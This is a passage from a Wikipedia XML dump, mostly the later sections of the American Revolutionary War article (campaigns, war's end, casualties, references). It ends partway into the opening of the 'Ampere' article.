In July 1775, newly appointed General Washington arrived outside Boston to take charge of the colonial forces. The standoff continued throughout the fall and winter. In early March 1776, heavy [[cannon]]s that had been [[Battle of Ticonderoga (1775)|captured by the Revolutionaries]] at [[Fort Ticonderoga]] were moved to Boston, a difficult feat engineered by [[Henry Knox]]. When the guns were placed on [[Dorchester Heights]], overlooking the British positions, Howe's situation became untenable. The British [[Evacuation Day|evacuated]] the city on [[March 17]], [[1776]] and sailed for temporary refuge in [[Halifax Regional Municipality, Nova Scotia|Halifax, Nova Scotia]]. The local militia dispersed and, in April, Washington took most of the Continental Army to fortify [[New York City]].

=== Canada, 1775 to 1776 ===
During the long standoff at Boston, the Continental Congress sought a way to seize the initiative elsewhere. Congress had initially invited [[French-Canadian]]s to join them as the fourteenth colony, but when that failed to happen, an [[Invasion of Canada (1775)|invasion of Canada]] was authorized in an attempt to drive the British from the primarily [[francophone]] colony of Quebec (comprising present-day [[Quebec]] and [[Ontario]]). Two expeditions were undertaken. On [[September 16]], [[1775]], Brigadier General [[Richard Montgomery]] marched north from Fort Ticonderoga with about 1,700 militiamen, capturing [[Montreal]] on November 13. General [[Guy Carleton, 1st Baron Dorchester|Guy Carleton]], the governor of Canada, escaped to [[Quebec City|Quebec City]].

[[Arnold Expedition|The second expedition]], led by Colonel [[Benedict Arnold]], set out from [[Fort Western]] (present day [[Maine]]) on September 25. The expedition was a logistical nightmare, and many men succumbed to [[smallpox]]. By the time Arnold reached Quebec City in early November, he had but 600 of his original 1,100 men. Nevertheless, Arnold demanded the surrender of the city, to no avail. Montgomery joined Arnold, and they [[Battle of Quebec (1775)|attacked Quebec City]] on December 31, but were soundly defeated by Carleton. Montgomery was killed, Arnold was wounded, and many men were taken prisoner. The Americans held on outside Quebec City until the spring of 1776, and then withdrew.

Another attempt was made by the Revolutionaries to push back towards Quebec, but failed at [[Battle of Trois-Rivières|Trois-Rivières]] on [[June 8]], [[1776]]. Carleton then launched his own invasion, and defeated Arnold in the [[Battle of Valcour Island]] in October. Arnold fell back to Fort Ticonderoga, where the invasion of Canada had begun. The invasion of Canada ended as an embarrassing disaster for the Revolutionaries, but Arnold's improvised navy on Lake Champlain delayed the fateful British counter thrust (the [[Saratoga Campaign]]) until 1777.

=== New York and New Jersey, 1776 to 1777 ===
Having withdrawn from Boston, the British now focused on [[New York Campaign|capturing New York City]]. General Howe, with the services of his brother, [[Richard Howe, 1st Earl Howe|Admiral Lord Howe]], began amassing troops on [[Staten Island]] in July 1776. General Washington, with a smaller army of about 20,000 men, unwittingly violated a cardinal rule of warfare, and divided his troops about equally between [[Long Island]] and [[Manhattan]], thus allowing the Howes to engage only one half of the Continental Army at a time.

In late August, the Howes transported about 22,000 men (including 9,000 &quot;Hessians&quot;) to Long Island. In the [[Battle of Long Island]] on [[August 27]], [[1776]], the British expertly executed a surprise flanking maneuver, driving the Revolutionaries back to the Brooklyn Heights fortifications. General Howe then laid siege to the works, but Washington skillfully managed a nighttime evacuation to Manhattan.

Having taken Long Island, the Howes moved to seize Manhattan. On September 15, General Howe [[Landing at Kip's Bay|landed about 12,000 men]] on lower Manhattan, quickly taking control of New York City. The Revolutionaries withdrew to Harlem Heights, where they [[Battle of Harlem Heights|skirmished the next day]], but held their ground.

When Howe moved to [[encirclement|encircle]] Washington's army in October, the Revolutionaries again fell back, and a [[Battle of White Plains|battle at White Plains]] was fought on [[October 28]], [[1776]]. Once more Washington retreated, but Howe, instead of aggressively pursuing the withdrawal, returned to Manhattan and captured [[Fort Washington]] in mid November, taking almost 3,000 prisoners. Four days later, [[Fort Lee, New Jersey|Fort Lee]], across the [[Hudson River]] from Fort Washington, was also taken.

[[Image:Washington Crossing the Delaware.png|thumb|right|300px|[[Emanuel Leutze]]'s 1851 painting ''[[Washington Crossing the Delaware]]'' is an [[icon]]ic image of [[American history]].]]

[[Charles Cornwallis, 1st Marquess Cornwallis|General Lord Cornwallis]] continued to chase Washington's army through [[New Jersey]], until the Revolutionaries withdrew across the [[Delaware River]] into [[Pennsylvania]] in early December. With the campaign at an apparent conclusion for the season, the British entered winter quarters. Although Howe had missed several opportunities to crush the diminishing rebel army, he had killed or captured over 5,000 Americans. He controlled much of New York and New Jersey, and was in a good position to resume operations in the spring, with the rebel capital of [[Philadelphia, Pennsylvania|Philadelphia]] in striking distance.

The outlook of the Continental Army—and thus the revolution itself—was bleak. &quot;These are the times that try men's souls,&quot; wrote [[Thomas Paine]], who was with the army on the retreat. The army had dwindled to fewer than 5,000 men fit for duty, and would be reduced to 1,400 after enlistments expired at the end of the year. Spirits were low, popular support was wavering, and Congress had abandoned Philadelphia in despair.

Washington reacted by taking the offensive, stealthily [[Battle of Trenton|crossing the Delaware]] on [[Christmas]] night and capturing nearly 1,000 Hessians at the [[Battle of Trenton]] on [[December 26]], [[1776]]. Cornwallis marched to retake Trenton, but was outmaneuvered by Washington, who successfully [[Battle of Princeton|attacked the British rearguard]] at [[Princeton, New Jersey|Princeton]] on [[January 3]], [[1777]]. Washington then entered winter quarters at [[Morristown, New Jersey]], having retaken much of New Jersey, and having secured two bold, morale-boosting victories in quick succession to reinvigorate the flagging revolution.

=== Saratoga Campaign, 1777 ===
In the summer of [[1777]], the British launched [[Saratoga Campaign|a new expedition]] from Canada. Led by General Burgoyne, the intention was to seize the Lake Champlain and Hudson River corridor, effectively isolating [[New England]] from the rest of the American colonies. Burgoyne's invasion had two components: he would lead about 10,000 men along Lake Champlain towards [[Albany, New York]], while a second column of about 2,000 men, led by [[Barry St. Leger]], would move down the [[Mohawk River]] valley and link up with Burgoyne in Albany.

Burgoyne set off in early July, [[Battle of Ticonderoga (1777)|recapturing Fort Ticonderoga]] from the retreating Revolutionaries without firing a shot. He then proceeded overland towards Albany, but Revolutionaries slowed his progress through the wilderness by destroying bridges and felling trees in his path. Running short on supplies, in August Burgoyne sent a detachment to raid nearby [[Bennington (town), Vermont|Bennington, Vermont]]. The raiders were [[Battle of Bennington|decisively defeated]] by local militia, depriving Burgoyne of nearly 1,000 men and the much-needed supplies.

[[Image:Joseph Brant painting by George Romney 1776.jpg|thumb|right|The [[Mohawk nation|Mohawk]] leader [[Joseph Brant]] commanded both American Indians and [[whites|white]] [[Loyalist (American Revolution)|Loyalists]] during the American Revolutionary War.]]

Meanwhile, St. Leger—half of his force American Indians led by [[Joseph Brant]]—had laid siege to [[Fort Stanwix]] on the Mohawk River. About 800 Revolutionary militiamen and their Indian allies marched to relieve the siege, but were ambushed and scattered by British and Indians on [[August 6]] at the [[Battle of Oriskany]]. [[Iroquois]] warriors fought on both sides of the battle, marking the beginning of a civil war within the Six Nations. When a second relief expedition approached, this time led by [[Benedict Arnold]], the siege was lifted, and St. Leger's expedition returned to Canada. Burgoyne was on his own.

Burgoyne pushed on towards Albany, his forces now reduced to about 6,000 men. A Revolutionary army of about 8,000 men, commanded by the newly arrived General [[Horatio Gates]], had entrenched about 10 miles (16 km) south of [[Saratoga, New York]]. Burgoyne sent 2,000 men to outflank the Revolutionary position, but was checked by Generals Benedict Arnold and [[Daniel Morgan]] in the [[Battle of Freeman's Farm|first battle of Saratoga]] on [[September 19]], [[1777]]. After the battle, the two armies dug in.

Burgoyne was in trouble now, but he hoped that help from the south might be on the way. All along, Burgoyne had suggested that his invasion from Canada might be supported by a British offensive up the Hudson River from Howe's location in New York City. However, [[George Germain, 1st Viscount Sackville|British war planners]] did not coordinate their efforts. General Howe had instead sailed away from New York on an expedition to capture Philadelphia (see next section). British General Henry Clinton, left in command at New York, did indeed sail up the Hudson in October, capturing several forts and burning [[Kingston (city), New York|Kingston]] (then the rebel capital of New York), but his efforts were not enough to affect the events at Saratoga.

Revolutionary militiamen, many of them outraged by the reported murder of [[Jane McCrae|an American woman]] at the hands of Burgoyne's Indian allies, flocked to Gates's army, swelling his force to 11,000 by the beginning of October. Burgoyne, his position becoming desperate, launched a new offensive, the [[Battle of Bemis Heights|second battle of Saratoga]] on October 7. The attack was repelled, and General Arnold, though relieved of command by Gates, rushed to the battle and led a decisive counterattack. Badly beaten, Burgoyne surrendered on October 17.

Saratoga is often regarded as the turning point of the war. Revolutionary confidence and determination, suffering from Howe's successful occupation of Philadelphia, was renewed. Even more importantly, the victory encouraged France to enter the war against Great Britain. Spain and the Netherlands soon did the same. For the British, the war had now become much more complicated.

=== Philadelphia campaign, 1777 to 1778 ===
Having secured New York City in his 1776 campaign, in 1777 General Howe concentrated on capturing Philadelphia, the seat of the Revolutionary government. He moved slowly, landing 15,000 troops in late August at the northern end of [[Chesapeake Bay]], about 55 miles (90 km) southwest of Philadelphia. Washington positioned his 11,000 men between Howe and Philadelphia, but was outflanked and driven back at the [[Battle of Brandywine]] on [[September 11]], [[1777]]. The Continental Congress once again abandoned the city. British and Revolutionary forces maneuvered around each other for the next several days, clashing in minor encounters such as the so-called &quot;[[Paoli Massacre]].&quot; On September 26, Howe finally outmaneuvered Washington and marched into Philadelphia unopposed.

After taking the city, the British [[garrison]]ed about 9,000 troops in [[Germantown, Philadelphia, Pennsylvania|Germantown]], five miles (8 km) above Philadelphia. Washington [[Battle of Germantown| unsuccessfully attacked Germantown]] in early October, and then retreated to watch and wait. Meanwhile, the British secured the Delaware River by taking (with difficulty) forts [[Fort Mifflin|Mifflin]] and [[Fort Mercer|Mercer]] in November.

General Washington's problems at this time were not just with the British. In the so-called [[Conway Cabal]], some politicians and officers unhappy with Washington's recent performance as commander-in-chief secretively discussed his removal. Washington, offended by the behind-the-scenes maneuvering, laid the whole matter openly before Congress. His supporters rallied behind him, and the episode abated.

Washington and his army encamped at [[Valley Forge]] in December 1777, about 20 miles (32 km) from Philadelphia, where they would stay for the next six months. Over the winter, 2,500 men (out of 10,000) died from disease and exposure. However, the army eventually emerged from Valley Forge in good order, thanks in part to a training program supervised by [[Baron von Steuben]].

Meanwhile, there was a shakeup in the British command, with General Clinton replacing Howe as commander-in-chief. French entry into the war had changed British war strategy, and Clinton was ordered by the government to abandon Philadelphia and defend New York City, now vulnerable to French naval power.

Washington's army shadowed Clinton on his withdrawal, and forced a [[Battle of Monmouth|battle at Monmouth]] on [[June 28]], [[1778]], the last major battle in the North. Washington's second-in-command, General [[Charles Lee (general)|Charles Lee]], ordered a controversial retreat during the battle, allowing Clinton's army to escape. By July, Clinton was in New York City, and Washington was again at White Plains. Both armies were back where they had been two years earlier. With the exception of scattered minor actions in the North, like the [[Battle of Stony Point]], the focus of the war now shifted elsewhere.

== War in the West ==
''Main article: [[Frontier warfare during the American Revolution]]''

[[Image:Ftsackville.gif|thumb|250px|left|[[George Rogers Clark]]'s 180 mile (290 km) trek in the dead of winter led to the capture of General [[Henry Hamilton]], Lieutenant-Governor of [[Canada]].]]

West of the [[Appalachian Mountains]], the American Revolutionary War was an &quot;[[Indian Wars|Indian War]].&quot; The British and the Continental Congress both courted [[Native Americans in the United States|American Indians]] as allies (or urged them to remain neutral), and many Native American communities became divided over what path to take. Like the [[Iroquois]] Confederacy, tribes such as the [[Cherokee]]s and the [[Shawnee]]s split into factions. [[Lenape|Delaware]]s under [[White Eyes]] signed the [[Treaty of Fort Pitt (1778)|first American Indian treaty]] with the United States, but other Delawares joined the British.

The British supplied their Indian allies from forts along the Great Lakes, and tribesmen staged raids on Revolutionary settlements in New York, [[Kentucky]], Pennsylvania and elsewhere. Joint Iroquois-Loyalist attacks in the [[Wyoming Valley Massacre|Wyoming Valley]] and at [[Cherry Valley Massacre|Cherry Valley]] in 1778 helped provoke the [[scorched earth]] [[Sullivan Expedition]] into western New York during the summer of 1779. On the western front, every man, woman, and child—regardless of race—was a potential casualty.

In the [[Ohio Country]], the [[Virginia]] [[frontier|frontiersman]] [[George Rogers Clark]] attempted to neutralize British influence among the Ohio tribes by capturing the outposts of [[Kaskaskia, Illinois|Kaskaskia]] and [[Battle of Vincennes|Vincennes]] in the summer of 1778. When General [[Henry Hamilton]], the British commander at [[Detroit]], retook Vincennes, Clark returned in a surprise march in February 1779 and captured Hamilton himself.

However, a decisive victory in the West eluded the United States even as their fortunes had risen in the East. The low point on the frontier came in 1782 with the [[Gnadenhutten massacre]], when Pennsylvania militiamen—unable to track down enemy warriors—executed nearly 100 [[Christian]] Delaware [[noncombatant]]s, mostly women and children. Later that year, in the last major encounter of the war, a party of Kentuckians was [[Battle of Blue Licks|soundly defeated]] by a superior force of British regulars and Native Americans.

== War in the South ==
During the first three years of the American Revolutionary War, the primary military encounters were in the North. One notable exception was in June 1776, when General [[Henry Clinton (American War of Independence)|Henry Clinton]] sailed south to attack [[Charleston, South Carolina]]. This ended in humiliating defeat for the British, and the Patriots remained in control of the southern states for the next three years. Starting in 1778, the British once again turned their attention to [[Georgia (U.S. state)|Georgia]], [[South Carolina]], [[North Carolina]], and [[Virginia]], where they hoped to regain control by recruiting thousands of Loyalists.

On [[December 29]], [[1778]], an expeditionary corps of 3,500 men from Clinton's army in New York captured [[Savannah, Georgia]]. An attempt by French and Revolutionary forces to [[Siege of Savannah|retake Savannah]] failed on [[October 9]], [[1779]]. In this assault, Count [[Casimir Pulaski]], the [[Poland|Polish]] commander of American Revolutionary [[cavalry]], was mortally wounded. With Savannah secured, Clinton could now launch a new assault on Charleston, South Carolina, where he had failed in 1776.

=== Carolinas, 1780 to 1781 ===
[[Image:General_Sir_Banastre_Tarleton_by_Sir_Joshua_Reynolds.jpeg|thumb|right|200px|The young and dashing [[Banastre Tarleton]] was perhaps the best cavalry commander in the war—and the most hated man in the South. This portrait was painted by Sir [[Joshua Reynolds]] in 1782.]]

Clinton finally moved against Charleston in 1780, blockading the harbor in March, and building up about 10,000 troops in the area. Inside the city, General [[Benjamin Lincoln]] commanded about 2,650 Continentals and 2,500 militiamen. When British [[Colonel]] [[Banastre Tarleton]] cut off the city's supply lines in victories at [[Monck's Corner]] in April and [[Lenud's Ferry]] in early May, Charleston was surrounded.

On [[May 12]], [[1780]], General Lincoln surrendered his 5,000 men—the largest surrender of U.S. troops until the [[American Civil War]]. With relatively few casualties, Clinton had seized the South’s biggest city and seaport, winning perhaps the greatest British victory of the war, and paving the way for what seemed like certain conquest of the South.

The remnants of the southern Continental Army began to withdraw to [[North Carolina]], but were pursued by Colonel Tarleton, who defeated them at the [[Waxhaw Massacre|Battle of Waxhaws]] on [[May 29]], [[1780]]. Among the Americans , a story spread that Tarleton had massacred many Americans after they had surrendered (the truth of this charge is still debated). “Bloody Tarleton” became a hated name, and “Tarleton’s quarter”—referring to his reputed lack of mercy (or “quarter”)—soon became a rallying cry.

With these events, organized American military activity in the South had collapsed.  The states however carried on their functions, and the war was carried on by partisans such as [[Francis Marion]]. General Clinton turned over British operations in the South to Lord Cornwallis. The Continental Congress dispatched General [[Horatio Gates]], to the rescue with a new army. But Gates promptly suffered one of the worst defeats in U.S. military history at the [[Battle of Camden]] on [[August 16]], [[1780]], setting the stage for Cornwallis to invade North Carolina.

The tables were quickly turned on Cornwallis, however. One wing of his army was utterly defeated at the [[Battle of Kings Mountain]] on [[October 7]], [[1780]], delaying his move into North Carolina. Kings Mountain was noteworthy because it was not a battle between British redcoats and colonial troops: it was a battle between American Loyalists and American Patriots.  The British plan to raise large Loyalist armies failed; not enough Loyalists enlisted, and those who did were at risk once the British army moved on.  Only in Georgia did the Crown manage to create a counter-revolutionary civil government.

Gates was replaced by George Washington's most dependable subordinate, General [[Nathanael Greene]]. Greene assigned about 1,000 men to General [[Daniel Morgan]], a superb tactician who crushed Tarleton’s troops at the [[Battle of Cowpens]] on [[January 17]], [[1781]]. Greene proceeded to wear down his opponents in a series of battles ([[Battle of Guilford Court House|Guilford Court House]], [[Battle of Hobkirk's Hill|Hobkirk's Hill]], [[Battle of Ninety Six|Ninety Six]], and [[Battle of Eutaw Springs|Eutaw Springs]]), each of them tactically a victory for the British, but giving no strategic advantage to the victors. Greene summed up his approach in a motto that would become famous: &quot;We fight, get beat, rise, and fight again.&quot; Unable to capture or destroy Greene's army, Cornwallis moved north to to Virginia.

=== Virginia, 1775 to 1781 ===
Virginia had been under revolutionary control since Loyalist forces (including runaway slaves) under [[John Murray, 4th Earl of Dunmore|Governor Dunmore]] had been defeated at the [[Battle of Great Bridge]] on [[December 9]], [[1775]]. After the defeat, Dunmore and his troops took refuge on British ships off of [[Norfolk, Virginia|Norfolk]], which Dunmore bombarded and burned on [[January 1]], [[1776]]. He was driven from an island in [[Chesapeake Bay]] that summer, never to return.

British forces raided Virginia sporadically during the war. In January 1781, the rebel capital of [[Richmond, Virginia|Richmond]] was put to the torch by none other than Benedict Arnold, now a turncoat, who had sold his services to the other side and was now a British general.

In March 1781, General Washington dispatched [[Marquis de Lafayette|Lafayette]] to defend Virginia. The young Frenchman had 3,200 men at his command, but British troops in the state, now reinforced and commanded by Cornwallis, totaled 7,200. Lafayette skirmished with Cornwallis, avoiding a decisive battle while gathering reinforcements. &quot;The boy cannot escape me,&quot; Cornwallis is supposed to have said. However, Cornwallis was unable to trap Lafayette, and so he moved his forces to [[Yorktown, Virginia]] in July in order to link up with the British navy.

== War at sea ==
''Main article: [[Naval operations in the American Revolutionary War]]''

Meanwhile the co-operation of the French became active.  In July [[Comte de Rochambeau|Count Rochambeau]] arrived at Newport, Rhode Island.  That place had been occupied by the British from 1776 to the close of 1779.  An unsuccessful attempt was made to drive them out in 1778 by the Revolutionaries assisted by the French admiral [[Charles Hector, comte d'Estaing|d'Estaing]] and a French corps.

*[[First Battle of Ushant]] - [[July 27]], [[1778]]
*[[John Paul Jones]]
*[[Continental Navy]]
*[[Battle of Cape St. Vincent (1780)]]
*[[Second Battle of Ushant]] - [[December 12]], [[1781]]

===Gulf Coast===
After Spain declared war against Great Britain in June of 1779, Count [[Bernardo de Gálvez]], the Spanish governor of [[Louisiana]], seized three British [[Mississippi River]] outposts: [[Battle of Fort Bute|Manchac]], [[Battle of Baton Rouge|Baton Rouge]], and [[Natchez, Mississippi|Natchez]]. Gálvez then captured [[Battle of Fort Charlotte|Mobile]] on [[March 14]], [[1780]], and, in May of 1781, [[Battle of Pensacola (1781)|forced the surrender]] of the British outpost at [[Pensacola, Florida]]. On [[May 8]], [[1782]], Gálvez captured the British naval base at New Providence in the Bahamas. Galvez also supplied  soldiers to George Rogers Clark and had been supplying substantial quantities of war supplies to the American rebels from as early as 1777.

===Caribbean===
The [[Battle of the Saintes]] took place in 1782, during the American War of Independence, and was a victory of a [[Kingdom of Great Britain|British]] fleet under Admiral Sir [[George Rodney]] over a [[France|French]] fleet under the [[Comte de Grasse]].  The defeat dashed the hopes of France and Spain to take [[Jamaica]] and other colonies from the British.

===India===
The Franco-British war spilled over into [[India]] in 1780, in the form of the [[Second Anglo-Mysore War]]. The two chief combatants were [[Tipu Sultan]], ruler of the [[Kingdom of Mysore]] and a key French ally, and the British government of [[Madras Presidency|Madras]]. The Anglo-Mysore conflict was bloody but inconclusive, and ended in a draw at the [[Treaty of Mangalore]] in 1784.

===Netherlands===
Also in 1780, the British struck against the [[Dutch Republic|United Provinces]] of the [[Netherlands]] in the [[Fourth Anglo-Dutch War]] to preempt Dutch involvement in the [[League of Armed Neutrality]], directed primarily against the British Navy during the war. Agitation by Dutch radicals and a friendly attitude towards the United States by the Dutch government, both influenced by the American Revolution, also encouraged the British to attack.

The war lasted into 1784 and was disastrous to the Dutch mercantile economy.

===Mediterranean===
On [[February 5]], [[1782]], Spanish and French forces captured [[Minorca]], which had been under British control since the [[Treaty of Utrecht]] in 1713.  A further Franco-Spanish effort to recover [[Gibraltar]] was unsuccessful.  Minorca was ceded to Spain in the peace treaty.

=== Whitehaven ===
An interesting footnote to this war was the actual landing on [[Britain]] itself of a ship from the U.S. [[Navy]]. This occurred in 1778 when the port of [[Whitehaven]] in [[Cumberland]] was raided by [[John Paul Jones]]. The landing was a surprise attack, taken as an action of revenge by Jones, and was never intended as an invasion. Nevertheless, it caused hysteria in [[England]], with the attack showing a weakness that could be exploited by other states such as [[France]] or [[Spain]]. Its result was an intense period of fortification in British ports.

== War's end ==
The northern, southern, and naval theaters of the war converged at [[Yorktown, Virginia|Yorktown]] in 1781. On [[September 5]], [[1781]], French naval forces defeated the British [[Royal Navy]] at the [[Battle of the Chesapeake]], cutting off Cornwallis's supplies and transport. Washington hurriedly moved his troops from [[New York]], and a combined Franco-American force of 17,000 troops commenced the [[Battle of Yorktown (1781)|Battle of Yorktown]] on [[October 6]], [[1781]]. Cornwallis's position quickly became untenable, and on [[October 19]] his army surrendered. The war was all but over.

[[Image:Yorktown80.JPG|thumb|325px|''Surrender of Cornwallis at Yorktown'' ([[John Trumbull]], 1797). On the right is the American flag, on the left is the French flag (white flag of the monarchy). Despite the painting's title, Cornwallis (claiming illness) was not present and is not depicted. [[George Washington|Washington]] is on horseback in the right background; because the British commander was absent, military protocol dictated that Washington have a subordinate—in this case [[Benjamin Lincoln]]—accept the surrender.]]

[[British Prime Minister]] [[Frederick North, 2nd Earl of Guilford|Lord North]] resigned soon after hearing the news from Yorktown. In April 1782, the [[British House of Commons]] voted to end the war in America. On [[November 30]], [[1782]] preliminary peace articles were signed in [[Paris]]; the formal end of the war did not occur until the [[Treaty of Paris (1783)|Treaty of Paris]] was signed on [[September 3]], [[1783]] and the United States Congress ratified the treaty on [[January 14]], [[1784]]. The last [[Evacuation Day (New York)|British troops left]] [[New York City]] on [[November 25]], [[1783]].

The reasons for Great Britain's misfortunes and defeat may be summarized as follows: Misconception by the home government of the temper and reserve strength of her colonists; disbelief at the outset in the probability of a protracted struggle covering the immense territory in America; consequent failure of the British to use their more efficient military strength effectively; the safe and [[Fabian Strategy|Fabian generalship]] of Washington; and perhaps most significantly, the French alliance and European combinations by which at the close of the conflict left Great Britain without a friend or ally on the continent.

Decisive victory eluded the United States on the western frontier. Great Britain negotiated the Paris peace treaty without consulting her Indian allies, however, and ceded much American Indian territory to the United States. Full of resentment, Native Americans reluctantly confirmed these land cessions with the United States in a series of treaties, but the result was essentially an armed truce—the fighting would be renewed in conflicts along the frontier, the largest being the [[Northwest Indian War]].

===Casualties===
The total loss of life resulting from the American Revolutionary War is unknown. As was typical in the wars of the era, disease claimed more lives than battle. The war took place in the context of a massive [[smallpox]] [[North American smallpox epidemic|epidemic]] in North America that probably killed more than 130,000 people. Historian [[Joseph J. Ellis]] suggests that Washington's decision to have his troops [[inoculation|inoculated]] may have been the commander-in-chief's most important strategic decision.{{ref|smallpox}}

Casualty figures for the American Revolutionaries have varied over the years; a recent scholarly estimate lists 6,824 killed and 8,445 wounded in action. The number of Revolutionary troop deaths from disease and other non-combat causes is estimated at about 18,500.{{ref|casualties}}

Approximately 1,200 Germans were killed in action and 6,354 died from illness or accident. About 16,000 of the remaining German troops returned home, but roughly 5,500 remained in the United States after the war for various reasons, many becoming American citizens. No reliable statistics exist for the number of casualties among other groups, including American Loyalists, British regulars, American Indians, French and Spanish troops, and civilians.

== See also ==
*[[List of important people in the era of the American Revolution]]
*[[Battles of the American Revolutionary War]]
*[[Intelligence in the American Revolutionary War]]
*[[American Revolution prisoners of war]]
*[[British prison ships (New York)]]
*[[France in the American Revolutionary War]]
*[[Spain in the American Revolutionary War]]
*[[The Netherlands in the American Revolutionary War]]
*[[The Society of the Cincinnati]]
*[[Daughters of the American Revolution]]
*[[Timeline of United States revolutionary history (1760-1789)]]
*[[Newburgh conspiracy]]
*[[List of British Forces in the American Revolutionary War]]
*[[List of Continental Forces in the American Revolutionary War]]
*[[Last surviving United States war veterans]]
*[[South Carolina during the American Revolution]]
*[[New Jersey during the American Revolution]]
*[[Evacuation Day (New York)]]

== Notes ==
&lt;div style=&quot;font-size: 85%&quot;&gt;
#{{note|loyalists}} Percentage of Loyalists and Revolutionaries: Robert M. Calhoon, &quot;Loyalism and Neutrality&quot; in ''The Blackwell Encyclopedia of the American Revolution'', p. 247; number of Loyalist troops: Boatner, p. 663.
#{{note|continental}} Size of Revolutionary armies: Boatner, p. 264.
#{{note|British}} British troop strength: Black, pp. 27-29. Number of Germans hired: Boatner, pp. 424-26.
#{{note|black_loyalists}} British usage of escaped slaves: Kaplan &amp; Kaplan, pp. 71-89.
#{{note|black_patriots}} Revolutionary all-black units: Kaplan &amp; Kaplan, pp. 64-69.
#{{note|warriors}} Total number of warriors: James H. Merrell, &quot;Indians and the new republic&quot; in ''The Blackwell Encyclopedia of the American Revolution'', p. 393. Number of Iroquois warriors: Boatner, p. 545.
#{{note|smallpox}} Smallpox epidemic: Fenn, p. 275. A great number of these smallpox deaths occurred outside the theater of war—in Mexico or among American Indians west of the Mississippi River. Washington and inoculation: Ellis, p. 87.
#{{note|casualties}} Revolutionary dead and wounded: Chambers, p. 849.
&lt;/div&gt;

== References ==
*Black, Jeremy. ''War for America: The Fight for Independence, 1775-1783''. St. Martin's Press (New York) and Sutton Publishing (UK), 1991. ISBN 0312067135 (1991), ISBN 0312123469 (1994 paperback), ISBN 0750928085 (2001 paperpack).
*Boatner, Mark Mayo, III. ''Encyclopedia of the American Revolution.'' New York: McKay, 1966; revised 1974. ISBN 0811705781.
*Chambers, John Whiteclay II, ed. in chief. ''The Oxford Companion to American Military History''. Oxford: Oxford University Press, 1999. ISBN 0195071980.
*Ellis, Joseph J. ''His Excellency: George Washington''. New York: Knopf, 2004. ISBN 1400040310.
*Fenn, Elizabeth Anne. ''Pox Americana: The Great Smallpox Epidemic of 1775-82''. New York: Hill and Wang, 2001. ISBN 0809078201.
*Greene, Jack P. and J.R. Pole, eds. ''The Blackwell Encyclopedia of the American Revolution''. Malden, Massachusetts: Blackwell, 1991; reprint 1999. ISBN 1557865477.
*Kaplan, Sidney and Emma Nogrady Kaplan. ''The Black Presence in the Era of the American Revolution''. Amherst, Massachusetts: The University of Massachusetts Press, 1989.  ISBN 0870236636.
*Wood, W. J. ''Battles of the Revolutionary War, 1775-1781''. Originally published Chapel Hill, N.C.: Algonquin, 1990; reprinted by Da Capo Press, 1995. ISBN 0306806177 (paperback); ISBN 0306813297 (2003 paperback reprint).

==Further reading==
*[http://www.americanrevolution.org/navindex.html Allen, Gardner W. ''A Naval History of the American Revolution'' (1913)]
*Black, Jeremy. ''War for America: The Fight for Independence, 1775-1783''. (1991), British viewpoint
*Boatner, Mark Mayo, III. ''Encyclopedia of the American Revolution.'' New York: McKay, 1966; revised 1974. ISBN 0811705781.
* Buchanan, John. ''The Road to Valley Forge: How Washington Built the Army That Won the Revolution'' (2004)
* Fischer, David Hackett. ''Washington's Crossing'' (2004), Pulitzer prize-winning narrative of 1776-77
* Higginbotham, Don. ''The War of American Independence: Military Attitudes, Policies, and Practice, 1763-1789'' (1983) Online in ACLS History E-book Project; overview of military topics
*Kwasny, Mark V. ''Washington's Partisan War, 1775-1783'' (1996)
*McCullough, David. ''1776'' (2005).
*Mackesy, Piers. ''The War for America: 1775-1783'' (1992), British viewpoint. 
*Middlekauff, Robert. ''The Glorious Cause: The American Revolution, 1763-1789'' (1984)]
*Miller, John C. ''Triumph of Freedom, 1775-1783'' (1948)
*Schecter, Barnet. [http://www.thebattlefornewyork.com/''The Battle for New York - The City at the Heart of the American Revolution''] (2002) - The largest military venture of the entire war, and the British albatross
*Thayer, Theodore. ''Nathanael Greene: Strategist of the American Revolution'' (1960)
*Unger. Harlow Giles. ''Lafayette'' (2002)
*Valentine; Alan. ''Lord George Germain'' (1962), the British War Minister
*Ward, Christopher. ''The War of the Revolution'' (2 vol 1952), battle history
*Weintraub, Stanley. ''Iron Tears: America's Battle for Freedom, Britain's Quagmire: 1775-1783'' (2005).

==External links==
*[http://www.dean.usma.edu/history/web03/atlases/american%20revolution/american%20revolution%20index.htm Battlefield atlas of the American Revolution] West Point Atlas
*[http://members.aol.com/_ht_a/historiography/saratoga.html Histories of the Battle of Saratoga, 1777]
*[http://users.snowcrest.net/jmike/amrevmil.html American Revolutionary War History Resources]
*[http://www.army.mil/cmh-pg/reference/revbib/revwar.htm Entry to US Army  Center for Military History, a huge bibliography]
*[http://www.americanrevolution.org/hispanic.html Spain's role in the American Revolution from the Atlantic to the Pacific Ocean]
*[http://www.americanrevolution.com/AfricanAmericansInTheRevolution.htm African-American soldiers in the Revolution]
*[http://www.besthistorysites.net/USHistory_Independence.shtml American Revolution &amp; Independence]

[[Category:American Revolutionary War]]
[[Category:National liberation movements]]
[[Category:Rebellion]]

[[bn:আমেরিকান বিপ্লব]]
[[da:USA's uafhængighedskrig]]
[[de:Amerikanischer Unabhängigkeitskrieg]]
[[eo:Usona Revolucio]]
[[es:Guerra de la Independencia de los Estados Unidos]]
[[fi:Yhdysvaltain vapaussota]]
[[fr:Guerre d'indépendance des États-Unis d'Amérique]]
[[ga:Cogadh Réabhlóideach Mheiriceá]]
[[he:מלחמת העצמאות של ארצות הברית]]
[[id:Perang Revolusi Amerika]]
[[is:Bandaríska frelsisstríðið]]
[[it:Guerra di indipendenza americana]]
[[ja:アメリカ独立戦争]]
[[ko:미국 독립전쟁]]
[[nl:Amerikaanse Onafhankelijkheidsoorlog]]
[[pl:Rewolucja amerykańska]]
[[pt:Guerra da Independência dos Estados Unidos da América]]
[[sk:Americká vojna za nezávislosť]]
[[sv:Amerikanska revolutionen]]
[[zh:美國獨立戰爭]]</text>
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  <page>
    <title>Ampere</title>
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      <text xml:space="preserve">:''For the different meanings of [[Ampère]], see the disambiguation page.''
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The '''ampere''' (symbol: A) is the [[SI base unit]] of [[electric current]] equal to one [[coulomb]] per second.  It is named after [[André-Marie Ampère]], one of the main discoverers of [[electromagnetism]].

==Definition==
The ampere is that constant current which, if maintained in two straight parallel conductors of infinite length, of negligible circular cross-section, and placed 1 [[metre]] apart in vacuum, would produce between these conductors a force equal to 2{{e|–7}} [[newton]] per metre of length.

==Explanation==
